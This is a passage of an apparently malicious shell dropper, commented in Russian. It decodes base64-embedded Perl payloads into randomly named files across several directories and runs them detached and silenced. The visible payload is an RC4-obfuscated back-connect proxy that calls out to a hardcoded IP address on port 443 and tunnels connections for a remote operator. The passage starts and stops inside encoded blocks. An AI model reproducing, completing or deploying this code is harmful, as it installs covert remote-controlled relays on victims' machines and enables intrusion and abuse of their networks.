IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #16 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #16 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 17 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D 